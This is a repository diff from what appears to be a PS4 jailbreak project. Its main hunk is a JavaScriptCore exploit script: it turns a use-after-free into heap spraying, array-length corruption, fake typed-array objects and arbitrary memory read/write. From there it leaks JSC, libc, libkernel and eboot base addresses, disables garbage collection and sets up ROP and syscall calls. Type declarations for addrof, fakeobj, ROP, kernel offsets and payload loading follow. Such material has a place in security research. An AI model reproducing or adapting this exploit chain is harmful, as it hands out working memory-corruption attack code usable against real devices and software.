||||
@@ -27,14 +29,14 @@ log('Achieved UAF !!')
|
||||
|
||||
log('Spraying arrays with marker...')
|
||||
// spray candidates arrays to be used as leak primitive
|
||||
var spray = new Array(0x1000)
|
||||
for (var i = 0; i < spray.length; i++) {
|
||||
const spray = new Array(0x1000)
|
||||
for (let i = 0; i < spray.length; i++) {
|
||||
spray[i] = new Array(spray_size).fill(0x13371337)
|
||||
}
|
||||
|
||||
log('Looking for marked array...')
|
||||
// find sprayed candidate by marker then corrupt its length
|
||||
for (var i = 8; i < uaf_view.byteLength; i += 16) {
|
||||
for (let i = 8; i < uaf_view.byteLength; i += 16) {
|
||||
if (uaf_view.getBigInt(i - 8, true).eq(indexing_header) &&
|
||||
uaf_view.getBigInt(i, true).eq(marker)) {
|
||||
log(`Found marker at uaf_view[${i}] !!`)
|
||||
@@ -43,7 +45,7 @@ for (var i = 8; i < uaf_view.byteLength; i += 16) {
|
||||
|
||||
log(`Marked indexing header ${uaf_view.getBigInt(marked_arr_offset, true)}`)
|
||||
|
||||
var corrupted_indexing_header = new BigInt(0x1337, 0x1337)
|
||||
const corrupted_indexing_header = new BigInt(0x1337, 0x1337)
|
||||
|
||||
log('Corrupting marked array length...')
|
||||
// corrupt indexing header
|
||||
@@ -57,7 +59,7 @@ if (marked_arr_offset === -1) {
|
||||
}
|
||||
|
||||
// find index of corrupted array
|
||||
for (var i = 0; i < spray.length; i++) {
|
||||
for (let i = 0; i < spray.length; i++) {
|
||||
if (spray[i].length === 0x1337) {
|
||||
log(`Found corrupted array at spray[${i}] !!`)
|
||||
log(`Corrupted array length ${new BigInt(spray[i].length)}`)
|
||||
@@ -73,31 +75,30 @@ if (corrupted_arr_idx === -1) {
|
||||
|
||||
log('Initiate ARW...')
|
||||
|
||||
var marked_arr_obj_offset = marked_arr_offset + 0x10
|
||||
const marked_arr_obj_offset = marked_arr_offset + 0x10
|
||||
|
||||
slave = new DataView(new ArrayBuffer(0x30))
|
||||
slave.setUint32(0, 0x13371337, true)
|
||||
|
||||
// leak address of leak_obj
|
||||
leak_obj = { obj: slave }
|
||||
const leak_obj = { obj: slave }
|
||||
|
||||
spray[corrupted_arr_idx][1] = leak_obj
|
||||
|
||||
leak_obj_addr = uaf_view.getBigInt(marked_arr_obj_offset, true)
|
||||
const leak_obj_addr = uaf_view.getBigInt(marked_arr_obj_offset, true)
|
||||
|
||||
// store Uint32Array structure ids to be used for fake master id later
|
||||
u32_structs = new Array(0x100)
|
||||
for (var i = 0; i < u32_structs.length; i++) {
|
||||
for (let i = 0; i < u32_structs.length; i++) {
|
||||
u32_structs[i] = new Uint32Array(1)
|
||||
// @ts-expect-error explicitly create property in Uint32Array
|
||||
u32_structs[i][`spray_${i}`] = 0x1337
|
||||
}
|
||||
|
||||
var js_cell = new BigInt()
|
||||
var length_and_flags = new BigInt(1, 0x30)
|
||||
var rw_obj = { js_cell: js_cell.d(), butterfly: null, vector: slave, length_and_flags: length_and_flags.d() }
|
||||
let js_cell = new BigInt()
|
||||
const length_and_flags = new BigInt(1, 0x30)
|
||||
const rw_obj = { js_cell: js_cell.d(), butterfly: null, vector: slave, length_and_flags: length_and_flags.d() }
|
||||
|
||||
// try faking Uint32Array master by incremental structure_id until it matches from one of sprayed earlier in structs array
|
||||
var structure_id = 0x80
|
||||
let structure_id = 0x80
|
||||
while (!(master instanceof Uint32Array)) {
|
||||
js_cell = new BigInt(
|
||||
0x00 | // IndexingType::NonArray
|
||||
@@ -111,7 +112,7 @@ while (!(master instanceof Uint32Array)) {
|
||||
|
||||
spray[corrupted_arr_idx][1] = rw_obj
|
||||
|
||||
var rw_obj_addr = uaf_view.getBigInt(marked_arr_obj_offset, true)
|
||||
const rw_obj_addr = uaf_view.getBigInt(marked_arr_obj_offset, true)
|
||||
|
||||
master_addr = rw_obj_addr.add(0x10)
|
||||
|
||||
@@ -120,7 +121,7 @@ while (!(master instanceof Uint32Array)) {
|
||||
master = spray[corrupted_arr_idx][1]
|
||||
}
|
||||
|
||||
slave_addr = mem.addrof(slave)
|
||||
const slave_addr = mem.addrof(slave)
|
||||
|
||||
// Fix master
|
||||
mem.view(master_addr).setBigInt(8, 0, true)
|
||||
@@ -131,52 +132,52 @@ mem.view(slave_addr).setUint8(6, 0xA0) // TypeInfo::InlineTypeFlags::OverridesGe
|
||||
mem.view(slave_addr).setInt32(0x18, -1, true)
|
||||
mem.view(slave_addr).setInt32(0x1C, 1, true)
|
||||
|
||||
var slave_buf_addr = mem.view(slave_addr).getBigInt(0x20, true)
|
||||
const slave_buf_addr = mem.view(slave_addr).getBigInt(0x20, true)
|
||||
mem.view(slave_buf_addr).setInt32(0x20, -1, true)
|
||||
|
||||
log('Achieved ARW !!')
|
||||
|
||||
var math_min_addr = mem.addrof(Math.min)
|
||||
const math_min_addr = mem.addrof(Math.min)
|
||||
debug(`addrof(Math.min): ${math_min_addr}`)
|
||||
|
||||
var scope = mem.view(math_min_addr).getBigInt(0x10, true)
|
||||
const scope = mem.view(math_min_addr).getBigInt(0x10, true)
|
||||
debug(`scope: ${scope}`)
|
||||
|
||||
var native_executable = mem.view(math_min_addr).getBigInt(0x18, true)
|
||||
const native_executable = mem.view(math_min_addr).getBigInt(0x18, true)
|
||||
debug(`native_executable: ${native_executable}`)
|
||||
|
||||
var native_executable_function = mem.view(native_executable).getBigInt(0x40, true)
|
||||
const native_executable_function = mem.view(native_executable).getBigInt(0x40, true)
|
||||
debug(`native_executable_function: ${native_executable_function}`)
|
||||
|
||||
var native_executable_constructor = mem.view(native_executable).getBigInt(0x48, true)
|
||||
const native_executable_constructor = mem.view(native_executable).getBigInt(0x48, true)
|
||||
debug(`native_executable_constructor: ${native_executable_constructor}`)
|
||||
|
||||
var jsc_addr = native_executable_function.sub(0xC6380)
|
||||
const jsc_addr = native_executable_function.sub(0xC6380)
|
||||
|
||||
var _error_addr = mem.view(jsc_addr).getBigInt(0x1E72398, true)
|
||||
const _error_addr = mem.view(jsc_addr).getBigInt(0x1E72398, true)
|
||||
debug(`_error_addr: ${_error_addr}`)
|
||||
|
||||
var strerror_addr = mem.view(jsc_addr).getBigInt(0x1E723B8, true)
|
||||
const strerror_addr = mem.view(jsc_addr).getBigInt(0x1E723B8, true)
|
||||
debug(`strerror_addr: ${strerror_addr}`)
|
||||
|
||||
var libc_addr = strerror_addr.sub(0x40410)
|
||||
const libc_addr = strerror_addr.sub(0x40410)
|
||||
|
||||
var jsmaf_gc_addr = mem.addrof(jsmaf.gc)
|
||||
const jsmaf_gc_addr = mem.addrof(jsmaf.gc)
|
||||
debug(`addrof(jsmaf.gc): ${jsmaf_gc_addr}`)
|
||||
|
||||
var native_invoke_addr = mem.view(jsmaf_gc_addr).getBigInt(0x18, true)
|
||||
const native_invoke_addr = mem.view(jsmaf_gc_addr).getBigInt(0x18, true)
|
||||
debug(`native_invoke_addr: ${native_invoke_addr}`)
|
||||
|
||||
var eboot_addr = native_invoke_addr.sub(0x39330)
|
||||
const eboot_addr = native_invoke_addr.sub(0x39330)
|
||||
|
||||
mem.view(jsc_addr).setUint32(0x1E75B20, 1, true)
|
||||
log('Disabled GC')
|
||||
|
||||
rop.init(jsc_addr)
|
||||
|
||||
fn.register(libc_addr.add(0x5F0), 'sceKernelGetModuleInfoForUnwind', 'bigint')
|
||||
fn.register(libc_addr.add(0x5F0), 'sceKernelGetModuleInfoForUnwind', ['bigint'], 'bigint')
|
||||
|
||||
var libkernel_addr = utils.base_addr(_error_addr)
|
||||
const libkernel_addr = utils.base_addr(_error_addr)
|
||||
|
||||
log(`jsc address: ${jsc_addr}`)
|
||||
log(`libc address: ${libc_addr}`)
|
||||
@@ -187,12 +188,14 @@ syscalls.init(libkernel_addr)
|
||||
|
||||
debug(`Found ${syscalls.map.size} syscalls`)
|
||||
|
||||
fn.register(_error_addr, '_error', 'bigint')
|
||||
fn.register(strerror_addr, 'strerror', 'string')
|
||||
fn.register(0x14, 'getpid', 'bigint')
|
||||
fn.register(0x29, 'dup', 'bigint')
|
||||
fn.register(0x4, 'write', 'bigint')
|
||||
fn.register(0x5, 'open', 'bigint')
|
||||
fn.register(0x6, 'close', 'bigint')
|
||||
fn.register(_error_addr, '_error', [], 'bigint')
|
||||
fn.register(strerror_addr, 'strerror', ['bigint'], 'string')
|
||||
fn.register(0x14, 'getpid', [], 'bigint')
|
||||
fn.register(0x29, 'dup', ['bigint'], 'bigint')
|
||||
fn.register(0x4, 'write', ['bigint', 'bigint', 'number'], 'bigint')
|
||||
fn.register(0x5, 'open', ['bigint', 'number', 'number'], 'bigint')
|
||||
fn.register(0x6, 'close', ['bigint'], 'bigint')
|
||||
|
||||
// utils.notify('UwU')
|
||||
|
||||
export { jsc_addr, libc_addr, libkernel_addr, eboot_addr }
|
||||
Vendored
+114
@@ -0,0 +1,114 @@
|
||||
type TypedArray = Uint8Array | Uint16Array | Uint32Array | Int8Array | Int16Array | Int32Array | Float32Array | Float64Array
|
||||
|
||||
declare function log (message: string): void
|
||||
declare function debug (message: string): void
|
||||
declare function include (path: string): void
|
||||
|
||||
declare var u32_structs: Uint32Array[]
|
||||
declare var spray_size: 0x100
|
||||
declare var marked_arr_offset: number
|
||||
declare var corrupted_arr_idx: number
|
||||
declare var marker: import('download0/types').BigInt
|
||||
declare var indexing_header: import('download0/types').BigInt
|
||||
|
||||
declare var master: Uint32Array, slave: DataView, master_addr: import('download0/types').BigInt, slave_addr: import('download0/types').BigInt, slave_buf_addr: import('download0/types').BigInt
|
||||
|
||||
declare var leak_obj: Record<string, unknown>, leak_obj_addr: import('download0/types').BigInt
|
||||
|
||||
declare var native_executable: import('download0/types').BigInt
|
||||
declare var scope: import('download0/types').BigInt
|
||||
|
||||
declare var debugging: {
|
||||
info: {
|
||||
memory: {
|
||||
available: number
|
||||
available_dmem: number
|
||||
available_libc: number
|
||||
}
|
||||
}
|
||||
} | undefined
|
||||
|
||||
declare var is_jailbroken: boolean
|
||||
|
||||
declare var CONFIG: {
|
||||
autolapse?: boolean;
|
||||
autopoop?: boolean;
|
||||
autoclose?: boolean;
|
||||
} | undefined
|
||||
|
||||
declare var payloads: string[] | undefined
|
||||
|
||||
declare var kernel_offset: (typeof import('download0/kernel').ps4_kernel_offset_list[keyof typeof import('download0/kernel').ps4_kernel_offset_list]) & {
|
||||
PROC_FD?: number,
|
||||
PROC_PID?: number,
|
||||
PROC_VM_SPACE?: number,
|
||||
PROC_UCRED?: number,
|
||||
PROC_COMM?: number,
|
||||
PROC_SYSENT?: number,
|
||||
FILEDESC_OFILES?: number,
|
||||
SIZEOF_OFILES?: number,
|
||||
VMSPACE_VM_PMAP?: number,
|
||||
PMAP_CR3?: number,
|
||||
SO_PCB?: number,
|
||||
INPCB_PKTOPTS?: number,
|
||||
IP6PO_TCLASS?: number,
|
||||
IP6PO_RTHDR?: number,
|
||||
} | null
|
||||
|
||||
declare class Image {
|
||||
url: string
|
||||
alpha: number
|
||||
x: number
|
||||
y: number
|
||||
width: number
|
||||
height: number
|
||||
visible: boolean
|
||||
borderColor: string
|
||||
borderWidth: number
|
||||
background: string
|
||||
color: string
|
||||
scaleX: number
|
||||
scaleY: number
|
||||
|
||||
constructor (options: {
|
||||
url: string
|
||||
x: number
|
||||
y: number
|
||||
width: number
|
||||
height: number
|
||||
visible?: boolean
|
||||
})
|
||||
}
|
||||
|
||||
declare class Style {
|
||||
constructor (options: {
|
||||
name: string
|
||||
color: string
|
||||
size: number
|
||||
})
|
||||
}
|
||||
|
||||
declare class Video {
|
||||
duration: number
|
||||
visible: boolean
|
||||
elapsed: number
|
||||
|
||||
onOpen: () => void
|
||||
onerror: (err: string) => void
|
||||
onstatechange: (state: string) => void
|
||||
|
||||
constructor (options: {
|
||||
x: number
|
||||
y: number
|
||||
width: number
|
||||
height: number
|
||||
visible: boolean
|
||||
autoplay: boolean
|
||||
})
|
||||
play (): void
|
||||
open (url: string): void
|
||||
close (): void
|
||||
}
|
||||
|
||||
declare var bg_success: Image
|
||||
declare var bg_fail: Image
|
||||
Vendored
+76
@@ -0,0 +1,76 @@
|
||||
declare namespace jsmaf {
|
||||
declare class Text {
|
||||
x: number
|
||||
y: number
|
||||
background: string
|
||||
url: string
|
||||
text: string
|
||||
color: string
|
||||
alpha: number
|
||||
style: string
|
||||
scaleX: number
|
||||
scaleY: number
|
||||
|
||||
constructor (options?: {
|
||||
x?: number
|
||||
y?: number
|
||||
width?: number
|
||||
height?: number
|
||||
text?: string
|
||||
color?: string
|
||||
background?: string
|
||||
fontSize?: number
|
||||
style?: string
|
||||
})
|
||||
}
|
||||
|
||||
declare class WebSocketServer {
|
||||
port: number
|
||||
onmessage: (clientID: number, data: string) => void
|
||||
|
||||
constructor ()
|
||||
broadcast (data: string): void
|
||||
}
|
||||
|
||||
declare class AudioClip {
|
||||
volume: number
|
||||
|
||||
constructor ()
|
||||
open (url: string): void
|
||||
}
|
||||
|
||||
declare class XMLHttpRequest {
|
||||
readyState: number
|
||||
status: number
|
||||
responseText: string
|
||||
onreadystatechange: () => void
|
||||
|
||||
constructor ()
|
||||
open (method: string, url: string, async: boolean): void
|
||||
send (data?: string): void
|
||||
}
|
||||
|
||||
declare type Element = Text | Image | Video
|
||||
|
||||
declare namespace root {
|
||||
declare const children: Element[]
|
||||
}
|
||||
|
||||
declare function eval (code: string): unknown
|
||||
|
||||
declare var gc: unknown
|
||||
|
||||
declare var locale: string
|
||||
|
||||
declare function clearInterval (intervalID: number): void
|
||||
declare function setInterval (handler: () => void, timeout: number): number
|
||||
|
||||
declare function exit (): void
|
||||
|
||||
declare var onEnterFrame: (() => void) | null
|
||||
declare var onKeyDown: ((keyCode: number) => void) | null
|
||||
|
||||
declare var remotePlay: boolean
|
||||
|
||||
declare function openWebBrowser (url: string): void
|
||||
}
|
||||
+6
-3
@@ -3,12 +3,14 @@
|
||||
// Environment setup & latest features
|
||||
"lib": ["ES5", "ES2015.Collection", "ES2015.Core"],
|
||||
"target": "es5",
|
||||
"module": "Preserve",
|
||||
"moduleDetection": "force",
|
||||
"allowJs": true,
|
||||
"module": "es2015",
|
||||
// "allowJs": true,
|
||||
"baseUrl": "./src",
|
||||
|
||||
// Bundler mode
|
||||
"moduleResolution": "bundler",
|
||||
"esModuleInterop": true,
|
||||
"isolatedModules": true,
|
||||
"verbatimModuleSyntax": true,
|
||||
"outDir": "./dist",
|
||||
|
||||
@@ -25,4 +27,5 @@
|
||||
"noPropertyAccessFromIndexSignature": false
|
||||
},
|
||||
"include": ["**/*.ts", "**/*.js", "**/*.js.aes"],
|
||||
"exclude": ["eslint.config.ts"]
|
||||
}
|
||||
|
||||
Vendored
-240
@@ -1,240 +0,0 @@
|
||||
declare namespace vue {
|
||||
declare class BigInt {
|
||||
buf: ArrayBuffer
|
||||
i8: Int8Array
|
||||
u8: Uint8Array
|
||||
i16: Int16Array
|
||||
u16: Uint16Array
|
||||
i32: Int32Array
|
||||
u32: Uint32Array
|
||||
f32: Float32Array
|
||||
f64: Float64Array
|
||||
|
||||
static readonly Zero: BigInt
|
||||
static readonly One: BigInt
|
||||
static readonly TYPE_MAP: {
|
||||
Int8Array: 'i8',
|
||||
Uint8Array: 'u8',
|
||||
Int16Array: 'i16',
|
||||
Uint16Array: 'u16',
|
||||
Int32Array: 'i32',
|
||||
Uint32Array: 'u32',
|
||||
Float32Array: 'f32',
|
||||
Float64Array: 'f64',
|
||||
}
|
||||
|
||||
constructor ()
|
||||
constructor (value: number | string | BigInt | ArrayLike<number>)
|
||||
constructor (hi: number, lo: number)
|
||||
|
||||
toString (): string
|
||||
endian (): void
|
||||
lo (): number
|
||||
hi (): number
|
||||
d (): number
|
||||
jsv (): BigInt
|
||||
cmp (val: BigInt): -1 | 0 | 1
|
||||
eq (val: BigInt): boolean
|
||||
neq (val: BigInt): boolean
|
||||
gt (val: BigInt): boolean
|
||||
gte (val: BigInt): boolean
|
||||
lt (val: BigInt): boolean
|
||||
lte (val: BigInt): boolean
|
||||
add (val: BigInt): BigInt
|
||||
sub (val: BigInt): BigInt
|
||||
mul (val: BigInt): BigInt
|
||||
divmod (val: BigInt): { q: BigInt, r: BigInt }
|
||||
div (val: BigInt): BigInt
|
||||
mod (val: BigInt): BigInt
|
||||
xor (val: BigInt): BigInt
|
||||
and (val: BigInt): BigInt
|
||||
or (val: BigInt): BigInt
|
||||
neg (): BigInt
|
||||
shl (count: number): BigInt
|
||||
shr (count: number): BigInt
|
||||
}
|
||||
}
|
||||
|
||||
declare global {
|
||||
interface DataView {
|
||||
getBigInt (byteOffset: number, littleEndian?: boolean): vue.BigInt
|
||||
setBigInt (byteOffset: number, value: vue.BigInt, littleEndian?: boolean): void
|
||||
}
|
||||
}
|
||||
|
||||
type NonPointerTypes = `${'Int' | 'Uint'}${8 | 16 | 32 | 64}`
|
||||
type PointerTypes = `${NonPointerTypes}*`
|
||||
|
||||
type StructName<T> = T extends `${infer Name}[${string}]` ? Name : T
|
||||
type StructCount<T> = T extends { count: infer C extends number } ? C :
|
||||
T extends { name: `${string}[${infer C extends number}]` } ? C :
|
||||
1
|
||||
|
||||
interface BaseStructField {
|
||||
size?: number
|
||||
offset?: number
|
||||
}
|
||||
|
||||
interface PointerStructField extends BaseStructField {
|
||||
name: string
|
||||
type: PointerTypes
|
||||
pointer?: true
|
||||
count?: never
|
||||
}
|
||||
|
||||
interface NonPointerStructFieldWithCountName extends BaseStructField {
|
||||
name: `${string}[${number}]`
|
||||
type: NonPointerTypes
|
||||
pointer?: false
|
||||
count?: number
|
||||
}
|
||||
|
||||
interface NonPointerStructFieldWithCount extends BaseStructField {
|
||||
name: name
|
||||
type: NonPointerTypes
|
||||
pointer?: false
|
||||
count: number
|
||||
}
|
||||
|
||||
interface NonPointerStructField extends BaseStructField {
|
||||
name: name
|
||||
type: NonPointerTypes
|
||||
pointer?: false
|
||||
count?: 1
|
||||
}
|
||||
|
||||
type StructField = PointerStructField | NonPointerStructFieldWithCount | NonPointerStructFieldWithCountName | NonPointerStructField
|
||||
|
||||
type StructReturnType<const T extends StructField> =
|
||||
StructCount<T> extends (1 | undefined) ? (
|
||||
T['pointer'] extends true ? vue.BigInt :
|
||||
T['type'] extends 'Int64' ? vue.BigInt :
|
||||
T['type'] extends 'Uint64' ? vue.BigInt :
|
||||
number
|
||||
) : (
|
||||
T['type'] extends 'Int8' ? Int8Array :
|
||||
T['type'] extends 'Uint8' ? Uint8Array :
|
||||
T['type'] extends 'Int16' ? Int16Array :
|
||||
T['type'] extends 'Uint16' ? Uint16Array :
|
||||
T['type'] extends 'Int32' ? Int32Array :
|
||||
T['type'] extends 'Uint32' ? Uint32Array :
|
||||
T['type'] extends 'Int64' ? Int32Array :
|
||||
T['type'] extends 'Uint64' ? Uint32Array :
|
||||
never
|
||||
)
|
||||
|
||||
type StructInstance<const T extends readonly StructField[]> = {
|
||||
[K in T[number] as StructName<K['name']>]: StructReturnType<K>
|
||||
} & {
|
||||
addr: vue.BigInt
|
||||
}
|
||||
|
||||
interface StructConstructor<const Name extends string, const T extends readonly StructField[]> {
|
||||
new (addr: vue.BigInt): StructInstance<T>
|
||||
|
||||
readonly tname: Name
|
||||
readonly sizeof: number
|
||||
readonly fields: T
|
||||
}
|
||||
|
||||
declare type Struct = {
|
||||
create<const Name extends string, const T extends StructField[]>(name: Name, fields: T): StructConstructor<Name, T>
|
||||
}
|
||||
|
||||
declare type Mem = {
|
||||
allocs: Map<vue.BigInt, ArrayBufferLike>
|
||||
read8 (addr: vue.BigInt): vue.BigInt
|
||||
read4 (addr: vue.BigInt): vue.BigInt
|
||||
write8 (addr: vue.BigInt, value: vue.BigInt): void
|
||||
write4 (addr: vue.BigInt, value: vue.BigInt): void
|
||||
write1 (addr: vue.BigInt, value: vue.BigInt): void
|
||||
addrof (obj: unknown): vue.BigInt
|
||||
fakeobj (addr: vue.BigInt): unknown
|
||||
malloc (size: number): vue.BigInt
|
||||
free (addr: vue.BigInt): void
|
||||
free_all (): void
|
||||
}
|
||||
|
||||
declare type Utils = {
|
||||
base_addr (func_addr: vue.BigInt): vue.BigInt
|
||||
notify (msg: string): void
|
||||
str (addr: vue.BigInt): string
|
||||
cstr (str: string): vue.BigInt
|
||||
get_backing (view: ArrayBufferLike): vue.BigInt
|
||||
set_backing (view: ArrayBufferLike, addr: vue.BigInt): void
|
||||
}
|
||||
|
||||
declare type Rop = {
|
||||
init (): void
|
||||
free (): void
|
||||
reset (): void
|
||||
push (val: vue.BigInt): void
|
||||
execute (insts: vue.BigInt[], store_addr: vue.BigInt, store_size: number): void
|
||||
fake_builtin (addr: vue.BigInt): (useless1: number, useless2: number, useless3: number, addr: vue.BigInt) => void
|
||||
store (insts: vue.BigInt[], addr: vue.BigInt, index: number): void
|
||||
load (insts: vue.BigInt[], addr: vue.BigInt, index: number): void
|
||||
}
|
||||
|
||||
type ArgTypeToRealType<T> = T extends 'bigint' ? vue.BigInt :
|
||||
T extends 'boolean' ? boolean :
|
||||
T extends 'number' ? number :
|
||||
T extends 'string' ? string :
|
||||
never
|
||||
|
||||
declare type Fn = {
|
||||
create <const Args extends ('bigint' | 'number' | 'boolean' | 'string')[], Return extends ('bigint' | 'boolean' | 'string')>(addr: vue.BigInt | number, args: Args, ret: Return): (...func_args: { [K in keyof Args]: ArgTypeToRealType<Args[K]> }) => ArgTypeToRealType<Return>
|
||||
}
|
||||
|
||||
declare type Fs = {
|
||||
stat (path: string): StructInstance<[
|
||||
{ name: 'st_dev', type: 'Uint32' },
|
||||
{ name: 'st_ino', type: 'Uint32' },
|
||||
{ name: 'st_mode', type: 'Uint16' },
|
||||
{ name: 'st_nlink', type: 'Uint16' },
|
||||
{ name: 'st_uid', type: 'Uint32' },
|
||||
{ name: 'st_gid', type: 'Uint32' },
|
||||
{ name: 'st_rdev', type: 'Uint32' },
|
||||
{ name: 'st_atim_sec', type: 'Int64' },
|
||||
{ name: 'st_atim_nsec', type: 'Int64' },
|
||||
{ name: 'st_mtim_sec', type: 'Int64' },
|
||||
{ name: 'st_mtim_nsec', type: 'Int64' },
|
||||
{ name: 'st_ctim_sec', type: 'Int64' },
|
||||
{ name: 'st_ctim_nsec', type: 'Int64' },
|
||||
{ name: 'st_size', type: 'Int64' },
|
||||
{ name: 'st_blocks', type: 'Int64' },
|
||||
{ name: 'st_blksize', type: 'Uint32' },
|
||||
{ name: 'st_flags', type: 'Uint32' },
|
||||
{ name: 'st_gen', type: 'Uint32' },
|
||||
{ name: 'st_birthtim_sec', type: 'Int64' },
|
||||
{ name: 'st_birthtim_nsec', type: 'Int64' }
|
||||
]>
|
||||
exists (path: string): boolean
|
||||
readFile (path: string): Uint8Array
|
||||
readTextFile (path: string): string
|
||||
writeFile (path: string, data: ArrayBufferLike | Uint8Array): void
|
||||
writeTextFile (path: string, data: string): void
|
||||
remove (path: string): void
|
||||
mkdir (path: string): void
|
||||
}
|
||||
|
||||
declare class SyscallError extends Error {
|
||||
syscall: string
|
||||
errno: number
|
||||
strerror: string
|
||||
constructor (syscall: string, errno: number, strerror: string)
|
||||
}
|
||||
|
||||
declare var jsc_addr: vue.BigInt
|
||||
declare var libc_addr: vue.BigInt
|
||||
declare var eboot_addr: vue.BigInt
|
||||
declare var gadgets: Record<string, vue.BigInt>
|
||||
|
||||
function log (msg: string): void
|
||||
function debug (msg: string): void
|
||||
|
||||
declare var mem: Mem
|
||||
declare var struct: Struct
|
||||
declare var utils: Utils
|
||||
declare var rop: Rop
|
||||
declare var fn: Fn
|
||||
declare var fs: Fs
|
||||
Reference in New Issue
Block a user